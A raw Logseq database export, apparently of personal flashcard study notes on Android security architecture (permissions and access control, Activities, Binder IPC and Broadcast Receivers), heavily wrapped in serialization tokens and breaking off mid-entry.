processlogseq____",536872853]],[logseq____"^15logseq____",[400,logseq____"^Ologseq____",logseq____"^16logseq____",536872826]],[logseq____"^15logseq____",[400,logseq____"^Flogseq____",399,536872826]],[logseq____"^15logseq____",[400,logseq____"^Xlogseq____",75,536872826]],[logseq____"^15logseq____",[400,logseq____"^Vlogseq____",398,536872826]],[logseq____"^15logseq____",[400,logseq____"^Ulogseq____",75,536873118]],[logseq____"^15logseq____",[400,logseq____"^;logseq____",logseq____"~u67b855be-ac9c-4f4b-ab87-a2408d3b85f3logseq____",536872826]],[logseq____"^15logseq____",[401,logseq____"^Qlogseq____",logseq____"{:height 1080, :width 720}logseq____",536872930]],[logseq____"^15logseq____",[401,logseq____"^Ologseq____",logseq____"^16logseq____",536872856]],[logseq____"^15logseq____",[401,logseq____"^Flogseq____",400,536872894]],[logseq____"^15logseq____",[401,logseq____"^Xlogseq____",75,536872856]],[logseq____"^15logseq____",[401,logseq____"^Vlogseq____",398,536872856]],[logseq____"^15logseq____",[401,logseq____"^Ulogseq____",75,536873118]],[logseq____"^15logseq____",[401,logseq____"^;logseq____",logseq____"~u67b85651-6f1b-47aa-acbe-f3f1add98486logseq____",536872856]],[logseq____"^15logseq____",[403,logseq____"^Qlogseq____",logseq____"## [[Access Control]] Characteristics of Permissionslogseq____",536872954]],[logseq____"^15logseq____",[403,logseq____"^Ologseq____",logseq____"^16logseq____",536872934]],[logseq____"^15logseq____",[403,logseq____"^@logseq____",false,536872934]],[logseq____"^15logseq____",[403,logseq____"^Flogseq____",390,536872936]],[logseq____"^15logseq____",[403,logseq____"^Xlogseq____",354,536872934]],[logseq____"^15logseq____",[403,logseq____"^Vlogseq____",354,536872936]],[logseq____"^15logseq____",[403,logseq____"^Ulogseq____",37,536872945]],[logseq____"^15logseq____",[403,logseq____"^Ulogseq____",354,536872945]],[logseq____"^15logseq____",[403,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[403,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[403,logseq____"^Hlogseq____",37,536873242]],[logseq____"^15logseq____",[403,logseq____"^;logseq____",logseq____"~u67b8574b-16c6-49fe-993b-8535576b1cf7logseq____",536872934]],[logseq____"^15logseq____",[404,logseq____"^Qlogseq____",logseq____"Permissions *assigned to UID* (subject-centric), but *no object reference* (key-value store)logseq____",536873007]],[logseq____"^15logseq____",[404,logseq____"^Ologseq____",logseq____"^16logseq____",536872954]],[logseq____"^15logseq____",[404,logseq____"^@logseq____",false,536872954]],[logseq____"^15logseq____",[404,logseq____"^Flogseq____",403,536872954]],[logseq____"^15logseq____",[404,logseq____"^Xlogseq____",354,536872954]],[logseq____"^15logseq____",[404,logseq____"^Vlogseq____",403,536872958]],[logseq____"^15logseq____",[404,logseq____"^Ulogseq____",37,536872959]],[logseq____"^15logseq____",[404,logseq____"^Ulogseq____",354,536872959]],[logseq____"^15logseq____",[404,logseq____"^;logseq____",logseq____"~u67b85759-621f-4b49-9668-6e0c650b5e02logseq____",536872954]],[logseq____"^15logseq____",[405,logseq____"^Qlogseq____",logseq____"Inherited from UID (ACL characteristic; UID as [ambient authority](((67b7665b-d447-4148-968c-5e162ec8c3fc)))logseq____",536873059]],[logseq____"^15logseq____",[405,logseq____"^Ologseq____",logseq____"^16logseq____",536873010]],[logseq____"^15logseq____",[405,logseq____"^@logseq____",false,536873010]],[logseq____"^15logseq____",[405,logseq____"^Flogseq____",404,536873010]],[logseq____"^15logseq____",[405,logseq____"^Xlogseq____",354,536873010]],[logseq____"^15logseq____",[405,logseq____"^Vlogseq____",403,536873010]],[logseq____"^15logseq____",[405,logseq____"^Ulogseq____",37,536873049]],[logseq____"^15logseq____",[405,logseq____"^Ulogseq____",60,536873049]],[logseq____"^15logseq____",[405,logseq____"^Ulogseq____",354,536873049]],[logseq____"^15logseq____",[405,logseq____"^Hlogseq____",60,536873242]],[logseq____"^15logseq____",[405,logseq____"^;logseq____",logseq____"~u67b857b6-042b-4f23-b1d6-cd4ecd2978b0logseq____",536873010]],[logseq____"^15logseq____",[406,logseq____"^Qlogseq____",logseq____"Permission delegation via [URI permissions](((67b85233-f3c4-410b-adaa-326869c76c1a))) and [Pending Intents](((67b85581-3a7d-4f14-ae8e-16b0f60c05b3)))logseq____",536873139]],[logseq____"^15logseq____",[406,logseq____"^Ologseq____",logseq____"^16logseq____",536873059]],[logseq____"^15logseq____",[406,logseq____"^@logseq____",false,536873059]],[logseq____"^15logseq____",[406,logseq____"^Flogseq____",405,536873059]],[logseq____"^15logseq____",[406,logseq____"^Xlogseq____",354,536873059]],[logseq____"^15logseq____",[406,logseq____"^Vlogseq____",403,536873059]],[logseq____"^15logseq____",[406,logseq____"^Ulogseq____",37,536873136]],[logseq____"^15logseq____",[406,logseq____"^Ulogseq____",354,536873136]],[logseq____"^15logseq____",[406,logseq____"^Ulogseq____",398,536873136]],[logseq____"^15logseq____",[406,logseq____"^Hlogseq____",398,536873242]],[logseq____"^15logseq____",[406,logseq____"^Hlogseq____",453,536873242]],[logseq____"^15logseq____",[406,logseq____"^;logseq____",logseq____"~u67b857e8-b80b-4384-bb29-579341b2d1d2logseq____",536873059]],[logseq____"^15logseq____",[407,logseq____"^Qlogseq____",logseq____"Revocation by resolving association between permission-string and UIDlogseq____",536873164]],[logseq____"^15logseq____",[407,logseq____"^Ologseq____",logseq____"^16logseq____",536873142]],[logseq____"^15logseq____",[407,logseq____"^@logseq____",false,536873142]],[logseq____"^15logseq____",[407,logseq____"^Flogseq____",406,536873142]],[logseq____"^15logseq____",[407,logseq____"^Xlogseq____",354,536873142]],[logseq____"^15logseq____",[407,logseq____"^Vlogseq____",403,536873142]],[logseq____"^15logseq____",[407,logseq____"^Ulogseq____",37,536873143]],[logseq____"^15logseq____",[407,logseq____"^Ulogseq____",354,536873143]],[logseq____"^15logseq____",[407,logseq____"^;logseq____",logseq____"~u67b8584a-ebf8-4242-b19c-91153c1208falogseq____",536873142]],[logseq____"^15logseq____",[408,logseq____"^Qlogseq____",logseq____"Best decsribed as very simple *attribute-based access control*logseq____",536873211]],[logseq____"^15logseq____",[408,logseq____"^Ologseq____",logseq____"^16logseq____",536873167]],[logseq____"^15logseq____",[408,logseq____"^@logseq____",false,536873167]],[logseq____"^15logseq____",[408,logseq____"^Flogseq____",407,536873167]],[logseq____"^15logseq____",[408,logseq____"^Xlogseq____",354,536873167]],[logseq____"^15logseq____",[408,logseq____"^Vlogseq____",403,536873167]],[logseq____"^15logseq____",[408,logseq____"^Ulogseq____",37,536873212]],[logseq____"^15logseq____",[408,logseq____"^Ulogseq____",354,536873212]],[logseq____"^15logseq____",[408,logseq____"^;logseq____",logseq____"~u67b8587c-abf3-4f6e-a118-1f9e1fa620f9logseq____",536873167]],[logseq____"^15logseq____",[409,logseq____"^12logseq____",2,536873217]],[logseq____"^15logseq____",[410,logseq____"^Klogseq____",1740211142884,536873220]],[logseq____"^15logseq____",[410,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[410,logseq____"^Ylogseq____",logseq____"broadcast receiverlogseq____",536873220]],[logseq____"^15logseq____",[410,logseq____"^11logseq____",logseq____"Broadcast Receiverlogseq____",536873220]],[logseq____"^15logseq____",[410,logseq____"^Blogseq____",1740211142884,536873220]],[logseq____"^15logseq____",[410,logseq____"^;logseq____",logseq____"~u67bd79bb-8185-486b-8686-d20f9d90893clogseq____",536878163]],[logseq____"^15logseq____",[411,logseq____"^Klogseq____",1740211142882,536873220]],[logseq____"^15logseq____",[411,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[411,logseq____"^Ylogseq____",logseq____"activitylogseq____",536873220]],[logseq____"^15logseq____",[411,logseq____"^11logseq____",logseq____"Activitylogseq____",536873220]],[logseq____"^15logseq____",[411,logseq____"^Blogseq____",1740213141527,536873793]],[logseq____"^15logseq____",[411,logseq____"^;logseq____",logseq____"~u67bd79bb-1b75-4288-b4fd-54e22a4adc13logseq____",536878163]],[logseq____"^15logseq____",[412,logseq____"^Klogseq____",1740211142883,536873220]],[logseq____"^15logseq____",[412,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[412,logseq____"^Ylogseq____",logseq____"content providerlogseq____",536873220]],[logseq____"^15logseq____",[412,logseq____"^11logseq____",logseq____"Content Providerlogseq____",536873220]],[logseq____"^15logseq____",[412,logseq____"^Blogseq____",1740211142883,536873220]],[logseq____"^15logseq____",[412,logseq____"^;logseq____",logseq____"~u67bd79bb-0d8b-4011-86f8-36b646831b3blogseq____",536878163]],[logseq____"^15logseq____",[413,logseq____"^Klogseq____",1740211142886,536873220]],[logseq____"^15logseq____",[413,logseq____"^@logseq____",false,536873220]],[logseq____"^15logseq____",[413,logseq____"^Ylogseq____",logseq____"binder ipclogseq____",536873220]],[logseq____"^15logseq____",[413,logseq____"^11logseq____",logseq____"Binder IPClogseq____",536873220]],[logseq____"^15logseq____",[413,logseq____"^Blogseq____",1740213752823,536874025]],[logseq____"^15logseq____",[413,logseq____"^;logseq____",logseq____"~u67bd79bc-4884-4eec-b7f4-29afd5af2280logseq____",536878168]],[logseq____"^15logseq____",[414,logseq____"^Qlogseq____",logseq____"## [[Binder IPC]]logseq____",536873220]],[logseq____"^15logseq____",[414,logseq____"^Ologseq____",logseq____"^16logseq____",536873220]],[logseq____"^15logseq____",[414,logseq____"^Flogseq____",309,536873220]],[logseq____"^15logseq____",[414,logseq____"^Xlogseq____",296,536873220]],[logseq____"^15logseq____",[414,logseq____"^Vlogseq____",299,536873220]],[logseq____"^15logseq____",[414,logseq____"^Ulogseq____",296,536873220]],[logseq____"^15logseq____",[414,logseq____"^Ulogseq____",413,536873220]],[logseq____"^15logseq____",[414,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[414,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[414,logseq____"^Hlogseq____",413,536878163]],[logseq____"^15logseq____",[414,logseq____"^;logseq____",logseq____"~u67b983c6-0742-4d15-ab5f-68e24a477807logseq____",536873220]],[logseq____"^15logseq____",[415,logseq____"^Qlogseq____",logseq____"## [[Broadcast Receiver]]logseq____",536873220]],[logseq____"^15logseq____",[415,logseq____"^Ologseq____",logseq____"^16logseq____",536873220]],[logseq____"^15logseq____",[415,logseq____"^Flogseq____",298,536873220]],[logseq____"^15logseq____",[415,logseq____"^Xlogseq____",296,536873220]],[logseq____"^15logseq____",[415,logseq____"^Vlogseq____",300,536873220]],[logseq____"^15logseq____",[415,logseq____"^Ulogseq____",296,536873220]],[logseq____"^15logseq____",[415,logseq____"^Ulogseq____",410,536873220]],[logseq____"^15logseq____",[415,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[415,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[415,logseq____"^Hlogseq____",410,536878163]],[logseq____"^15logseq____",[415,logseq____"^;logseq____",logseq____"~u67b983c6-ea1f-4840-879a-076fdddbd19clogseq____",536873220]],[logseq____"^15logseq____",[417,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536873222]],[logseq____"^15logseq____",[417,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[417,logseq____"^Flogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^Vlogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[417,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[417,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[417,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873222]],[logseq____"^15logseq____",[417,logseq____"^Jlogseq____",[],536873222]],[logseq____"^15logseq____",[417,logseq____"^Hlogseq____",2,536873222]],[logseq____"^15logseq____",[417,logseq____"^Hlogseq____",24,536873222]],[logseq____"^15logseq____",[417,logseq____"^;logseq____",logseq____"~u67b983c7-2f0d-4b2f-bf85-0d744ee08b6alogseq____",536873222]],[logseq____"^15logseq____",[418,logseq____"^Qlogseq____",logseq____"Represents screen in an applicationlogseq____",536873222]],[logseq____"^15logseq____",[418,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[418,logseq____"^Flogseq____",417,536873222]],[logseq____"^15logseq____",[418,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[418,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[418,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[418,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[418,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[418,logseq____"^;logseq____",logseq____"~u67b983c7-d2d3-46aa-b43b-c68e061ee3a1logseq____",536873222]],[logseq____"^15logseq____",[419,logseq____"^Qlogseq____",logseq____"Can be composed of different views(/Composables)logseq____",536873222]],[logseq____"^15logseq____",[419,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[419,logseq____"^Flogseq____",418,536873222]],[logseq____"^15logseq____",[419,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[419,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[419,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[419,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[419,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[419,logseq____"^;logseq____",logseq____"~u67b983c7-a759-4312-89ca-736d861134e8logseq____",536873222]],[logseq____"^15logseq____",[420,logseq____"^Qlogseq____",logseq____"Split into fragments (reusable UI modules)logseq____",536873222]],[logseq____"^15logseq____",[420,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[420,logseq____"^Flogseq____",419,536873222]],[logseq____"^15logseq____",[420,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[420,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[420,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[420,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[420,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[420,logseq____"^;logseq____",logseq____"~u67b983c7-4e6b-43ce-8611-36a538eb25cflogseq____",536873222]],[logseq____"^15logseq____",[421,logseq____"^Qlogseq____",logseq____"One main activity per applogseq____",536873222]],[logseq____"^15logseq____",[421,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[421,logseq____"^Flogseq____",420,536873222]],[logseq____"^15logseq____",[421,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[421,logseq____"^Vlogseq____",417,536873222]],[logseq____"^15logseq____",[421,logseq____"^Ulogseq____",2,536873222]],[logseq____"^15logseq____",[421,logseq____"^Ulogseq____",24,536873222]],[logseq____"^15logseq____",[421,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[421,logseq____"^;logseq____",logseq____"~u67b983c7-ac28-4ae3-a243-28b15c35d897logseq____",536873222]],[logseq____"^15logseq____",[422,logseq____"^Qlogseq____",logseq____"## Stateflow/Lifecyclelogseq____",536873222]],[logseq____"^15logseq____",[422,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[422,logseq____"^Flogseq____",504,536873706]],[logseq____"^15logseq____",[422,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[422,logseq____"^Vlogseq____",411,536873222]],[logseq____"^15logseq____",[422,logseq____"^Ulogseq____",411,536873222]],[logseq____"^15logseq____",[422,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873222]],[logseq____"^15logseq____",[422,logseq____"^Jlogseq____",[],536873222]],[logseq____"^15logseq____",[422,logseq____"^;logseq____",logseq____"~u67b983c7-f2c1-45c5-a38f-3fb2a08d6cf5logseq____",536873222]],[logseq____"^15logseq____",[423,logseq____"^Qlogseq____",logseq____"{:height 671, :width 513}logseq____",536873222]],[logseq____"^15logseq____",[423,logseq____"^Ologseq____",logseq____"^16logseq____",536873222]],[logseq____"^15logseq____",[423,logseq____"^Flogseq____",422,536873222]],[logseq____"^15logseq____",[423,logseq____"^Xlogseq____",411,536873222]],[logseq____"^15logseq____",[423,logseq____"^Vlogseq____",422,536873222]],[logseq____"^15logseq____",[423,logseq____"^Ulogseq____",411,536873707]],[logseq____"^15logseq____",[423,logseq____"^;logseq____",logseq____"~u67b983c7-21ef-4703-a9a1-4ba99c9cca1blogseq____",536873222]],[logseq____"^15logseq____",[425,logseq____"^Qlogseq____",logseq____"## General Information #card #security-architecturelogseq____",536873224]],[logseq____"^15logseq____",[425,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[425,logseq____"^Flogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^Vlogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[425,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[425,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[425,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873224]],[logseq____"^15logseq____",[425,logseq____"^Jlogseq____",[],536873224]],[logseq____"^15logseq____",[425,logseq____"^Hlogseq____",2,536873224]],[logseq____"^15logseq____",[425,logseq____"^Hlogseq____",38,536873224]],[logseq____"^15logseq____",[425,logseq____"^;logseq____",logseq____"~u67b983c7-e73d-45c5-9b4b-57f87b40ed88logseq____",536873224]],[logseq____"^15logseq____",[426,logseq____"^Qlogseq____",logseq____"Allows for synchronous calls between processeslogseq____",536873224]],[logseq____"^15logseq____",[426,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[426,logseq____"^Flogseq____",433,536873224]],[logseq____"^15logseq____",[426,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[426,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[426,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[426,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[426,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[426,logseq____"^;logseq____",logseq____"~u67b983c7-dc61-449c-9b2e-f96a0d9223calogseq____",536873224]],[logseq____"^15logseq____",[427,logseq____"^Qlogseq____",logseq____"Service Manager (/Context Manager) (4): Used as registry/lookup for other Binder objectslogseq____",536873224]],[logseq____"^15logseq____",[427,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[427,logseq____"^Flogseq____",434,536873224]],[logseq____"^15logseq____",[427,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[427,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[427,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[427,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[427,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[427,logseq____"^;logseq____",logseq____"~u67b983c7-c0eb-489c-a6fe-e47bbc24e031logseq____",536873224]],[logseq____"^15logseq____",[428,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant B as Binder Kernel Module\\n participant S as App Process S (Receiver)\\n \\n A-logseq____>logseq____>B: 1) transaction = {recvS, payloadA}\\n B-logseq____>logseq____>S: 2) transaction = {payloadA, UID=A}\\n alt If two-way transaction\\n S-logseq____>logseq____>B: 3) reply = {payloadS}\\n B-logseq____>logseq____>A: 4) reply = {payloadS}\\n end\\n```logseq____",536873224]],[logseq____"^15logseq____",[428,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[428,logseq____"^Flogseq____",430,536873224]],[logseq____"^15logseq____",[428,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[428,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[428,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[428,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[428,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[428,logseq____"^;logseq____",logseq____"~u67b983c7-3806-4ac6-abe5-467dd4ad7f05logseq____",536873224]],[logseq____"^15logseq____",[429,logseq____"^Qlogseq____",logseq____"Binder as patch to Linux kernellogseq____",536873224]],[logseq____"^15logseq____",[429,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[429,logseq____"^Flogseq____",437,536873224]],[logseq____"^15logseq____",[429,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[429,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[429,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[429,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[429,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[429,logseq____"^;logseq____",logseq____"~u67b983c7-c77d-4523-9f91-f2448a3507bdlogseq____",536873224]],[logseq____"^15logseq____",[430,logseq____"^Qlogseq____",logseq____"Per-process thread-pool for processing requestslogseq____",536873224]],[logseq____"^15logseq____",[430,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[430,logseq____"^Flogseq____",426,536873224]],[logseq____"^15logseq____",[430,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[430,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[430,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[430,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[430,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[430,logseq____"^;logseq____",logseq____"~u67b983c7-a88a-4fac-b466-40cd41b968e9logseq____",536873224]],[logseq____"^15logseq____",[431,logseq____"^Qlogseq____",logseq____"IBinder interface (1): well-defined interface Binder objects must implementlogseq____",536873224]],[logseq____"^15logseq____",[431,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[431,logseq____"^Flogseq____",432,536873224]],[logseq____"^15logseq____",[431,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[431,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[431,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[431,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[431,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[431,logseq____"^;logseq____",logseq____"~u67b983c7-e6c4-4255-8877-b1caed0478b1logseq____",536873224]],[logseq____"^15logseq____",[432,logseq____"^Qlogseq____",logseq____"## Components #card #security-architecturelogseq____",536873812]],[logseq____"^15logseq____",[432,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[432,logseq____"^Flogseq____",425,536873224]],[logseq____"^15logseq____",[432,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[432,logseq____"^Vlogseq____",413,536873224]],[logseq____"^15logseq____",[432,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[432,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[432,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[432,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873812]],[logseq____"^15logseq____",[432,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536873812]],[logseq____"^15logseq____",[432,logseq____"^Hlogseq____",2,536873812]],[logseq____"^15logseq____",[432,logseq____"^Hlogseq____",38,536873812]],[logseq____"^15logseq____",[432,logseq____"^;logseq____",logseq____"~u67b983c7-4288-4f1a-a1f6-dd976963d7ablogseq____",536873224]],[logseq____"^15logseq____",[433,logseq____"^Qlogseq____",logseq____"High-performance, shared memory-based IPClogseq____",536873224]],[logseq____"^15logseq____",[433,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[433,logseq____"^Flogseq____",429,536873224]],[logseq____"^15logseq____",[433,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[433,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[433,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[433,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[433,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[433,logseq____"^;logseq____",logseq____"~u67b983c7-e690-4980-b249-8a2e59b392calogseq____",536873224]],[logseq____"^15logseq____",[434,logseq____"^Qlogseq____",logseq____"Binder token (handle/reference) (3): 32-bit integer acting as unique identifierlogseq____",536873224]],[logseq____"^15logseq____",[434,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[434,logseq____"^Flogseq____",435,536873224]],[logseq____"^15logseq____",[434,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[434,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[434,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[434,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[434,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[434,logseq____"^;logseq____",logseq____"~u67b983c7-f950-401b-87f1-5e307c1f7a6blogseq____",536873224]],[logseq____"^15logseq____",[435,logseq____"^Qlogseq____",logseq____"Binder object (2): Generic implementationlogseq____",536873224]],[logseq____"^15logseq____",[435,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[435,logseq____"^Flogseq____",431,536873224]],[logseq____"^15logseq____",[435,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[435,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[435,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[435,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[435,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[435,logseq____"^;logseq____",logseq____"~u67b983c7-b107-4b32-bf40-f68f8f0e798elogseq____",536873224]],[logseq____"^15logseq____",[436,logseq____"^Qlogseq____",logseq____"logseq____",536873224]],[logseq____"^15logseq____",[436,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[436,logseq____"^Flogseq____",427,536873224]],[logseq____"^15logseq____",[436,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[436,logseq____"^Vlogseq____",432,536873224]],[logseq____"^15logseq____",[436,logseq____"^Ulogseq____",2,536873813]],[logseq____"^15logseq____",[436,logseq____"^Ulogseq____",38,536873813]],[logseq____"^15logseq____",[436,logseq____"^Ulogseq____",413,536873813]],[logseq____"^15logseq____",[436,logseq____"^;logseq____",logseq____"~u67b983c7-5b57-4ee5-af4e-f046a0a3ada7logseq____",536873224]],[logseq____"^15logseq____",[437,logseq____"^Qlogseq____",logseq____"Acts as building block for permission enforcementlogseq____",536873224]],[logseq____"^15logseq____",[437,logseq____"^Ologseq____",logseq____"^16logseq____",536873224]],[logseq____"^15logseq____",[437,logseq____"^Flogseq____",425,536873224]],[logseq____"^15logseq____",[437,logseq____"^Xlogseq____",413,536873224]],[logseq____"^15logseq____",[437,logseq____"^Vlogseq____",425,536873224]],[logseq____"^15logseq____",[437,logseq____"^Ulogseq____",2,536873224]],[logseq____"^15logseq____",[437,logseq____"^Ulogseq____",38,536873224]],[logseq____"^15logseq____",[437,logseq____"^Ulogseq____",413,536873224]],[logseq____"^15logseq____",[437,logseq____"^;logseq____",logseq____"~u67b983c7-5e4e-442b-81b6-1ff9eeaef47elogseq____",536873224]],[logseq____"^15logseq____",[439,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536873226]],[logseq____"^15logseq____",[439,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[439,logseq____"^Flogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^Vlogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[439,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[439,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[439,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873226]],[logseq____"^15logseq____",[439,logseq____"^Jlogseq____",[],536873226]],[logseq____"^15logseq____",[439,logseq____"^Hlogseq____",2,536873226]],[logseq____"^15logseq____",[439,logseq____"^Hlogseq____",24,536873226]],[logseq____"^15logseq____",[439,logseq____"^;logseq____",logseq____"~u67b983c7-e8ab-4e7b-a24e-cede48ee9e3flogseq____",536873226]],[logseq____"^15logseq____",[440,logseq____"^Qlogseq____",logseq____"Implements a *publish-subscribe* pattern that receives subscribed-to [Intents]([[Intent 